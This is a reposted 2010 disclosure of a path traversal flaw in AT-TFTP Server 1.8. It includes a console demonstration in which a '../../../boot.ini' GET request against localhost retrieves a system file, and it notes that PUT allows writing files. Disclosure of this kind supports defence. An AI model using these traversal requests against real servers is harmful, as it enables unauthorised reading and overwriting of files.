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AT-TFTP Server v1.8 Remote Directory Traversal Vulnerability
来源:inv0ked.israel@gmail.com 作者:Pr0T3cT10n 发布时间:2010-11-08  

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#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/ 
#                   Live by the byte     |_/_/ 
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# AT-TFTP Server is vulnerable for a path traversal, the following will explain you how to read & write files
# The vulnerability allows an unprivileged attacker to read & write files whom he has no permissions to.
# The vulnerable TFTP commands are:
# * GET  - Read  File
# * PUT  - Write File
#-----------------------------------
# Vulnerability Title: AT-TFTP Server v1.8 Remote Directory Traversal Vulnerability
# Date: 05/11/2010
# Author: Pr0T3cT10n
# Software Link: http://www.alliedtelesis.co.nz/support/rapier/downloads/at-tftpd.exe
# Affected Version: 1.8
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
###
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Admin>tftp

Transfers files to and from a remote computer running the TFTP service.

TFTP [-i] host [GET | PUT] source [destination]

  -i              Specifies binary image transfer mode (also called
                  octet). In binary image mode the file is moved
                  literally, byte by byte. Use this mode when
                  transferring binary files.
  host            Specifies the local or remote host.
  GET             Transfers the file destination on the remote host to
                  the file source on the local host.
  PUT             Transfers the file source on the local host to
                  the file destination on the remote host.
  source          Specifies the file to transfer.
  destination     Specifies where to transfer the file.


C:\Documents and Settings\Admin>tftp -i 127.0.0.1 GET ../../../boot.ini C:\boot.txt

Transfer successful: 221 bytes in 1 second, 221 bytes/s

C:\Documents and Settings\Admin>type c:\boot.txt
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect

C:\Documents and Settings\Admin>


 
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